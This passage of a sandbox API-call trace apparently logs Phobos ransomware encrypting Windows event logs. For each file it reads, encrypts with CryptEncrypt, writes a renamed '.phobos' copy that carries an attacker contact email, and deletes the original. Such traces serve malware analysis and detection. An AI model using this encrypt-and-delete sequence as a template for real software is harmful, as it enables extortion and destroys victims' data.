"c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0059.060] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0059.060] CloseHandle (hObject=0x31c) returned 1 [0059.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20 [0059.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.061] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0059.061] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.061] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.061] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.061] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc790) returned 1 [0059.061] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.061] ReadFile (in: hFile=0x31c, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0059.498] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0059.498] WriteFile (in: hFile=0x2fc, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0059.500] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dcc10) returned 1 [0059.500] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.500] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90, dwBufLen=0x90 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90) returned 1 [0059.500] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0059.500] WriteFile (in: hFile=0x2fc, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x142, lpOverlapped=0x0) returned 1 [0059.500] CryptDestroyKey (hKey=0x10dc790) returned 1 [0059.500] CloseHandle (hObject=0x31c) returned 1 [0059.500] CloseHandle (hObject=0x2fc) returned 1 [0059.502] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 1 [0059.503] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0059.503] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.504] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0059.504] CloseHandle (hObject=0x2fc) returned 1 [0059.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20 [0059.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.504] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.504] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.504] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.504] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0059.510] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc610) returned 1 [0059.510] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.510] ReadFile (in: hFile=0x2fc, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0059.532] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0059.532] WriteFile (in: hFile=0x31c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0059.534] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc6d0) returned 1 [0059.534] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.534] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90, dwBufLen=0x90 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90) returned 1 [0059.534] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0059.534] WriteFile (in: hFile=0x31c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x142, lpOverlapped=0x0) returned 1 [0059.534] CryptDestroyKey (hKey=0x10dc610) returned 1 [0059.534] CloseHandle (hObject=0x2fc) returned 1 [0059.534] CloseHandle (hObject=0x31c) returned 1 [0059.536] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 1 [0059.538] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0059.538] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.551] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0059.551] CloseHandle (hObject=0x330) returned 1 [0059.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20 [0059.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.551] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.551] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.551] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.551] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.551] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc750) returned 1 [0059.552] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.552] ReadFile (in: hFile=0x330, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0059.561] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0059.561] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0059.563] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dcb90) returned 1 [0059.563] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.563] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80, dwBufLen=0x80 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80) returned 1 [0059.563] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0059.563] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x132, lpOverlapped=0x0) returned 1 [0059.564] CryptDestroyKey (hKey=0x10dc750) returned 1 [0059.564] CloseHandle (hObject=0x330) returned 1 [0059.564] CloseHandle (hObject=0x304) returned 1 [0059.566] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 1 [0059.567] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0059.568] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.568] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0059.568] CloseHandle (hObject=0x304) returned 1 [0059.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20 [0059.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.569] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.569] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.569] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.569] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.569] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dccd0) returned 1 [0059.569] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.569] ReadFile (in: hFile=0x304, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0059.592] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0059.592] WriteFile (in: hFile=0x330, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0059.593] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dcb90) returned 1 [0059.593] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.593] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80, dwBufLen=0x80 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80) returned 1 [0059.593] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0059.593] WriteFile (in: hFile=0x330, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x132, lpOverlapped=0x0) returned 1 [0059.593] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0059.593] CloseHandle (hObject=0x304) returned 1 [0059.594] CloseHandle (hObject=0x330) returned 1 [0059.595] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 1 [0059.597] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0059.597] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.597] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0059.597] CloseHandle (hObject=0x330) returned 1 [0059.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20 [0059.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.597] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.597] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.597] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.597] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.597] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc650) returned 1 [0059.597] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.598] ReadFile (in: hFile=0x330, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0059.685] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0059.685] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0059.687] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc6d0) returned 1 [0059.687] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.687] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90, dwBufLen=0x90 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90) returned 1 [0059.687] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0059.687] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x142, lpOverlapped=0x0) returned 1 [0059.687] CryptDestroyKey (hKey=0x10dc650) returned 1 [0059.687] CloseHandle (hObject=0x330) returned 1 [0059.687] CloseHandle (hObject=0x304) returned 1 [0059.688] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 1 [0059.698] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0059.698] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.698] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0059.698] CloseHandle (hObject=0x304) returned 1 [0059.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20 [0059.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.698] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.698] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.699] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.699] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.699] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dca50) returned 1 [0059.699] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.699] ReadFile (in: hFile=0x304, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0059.834] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0059.834] WriteFile (in: hFile=0x330, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0059.836] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dccd0) returned 1 [0059.836] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.836] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70, dwBufLen=0x70 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70) returned 1 [0059.836] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0059.836] WriteFile (in: hFile=0x330, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, 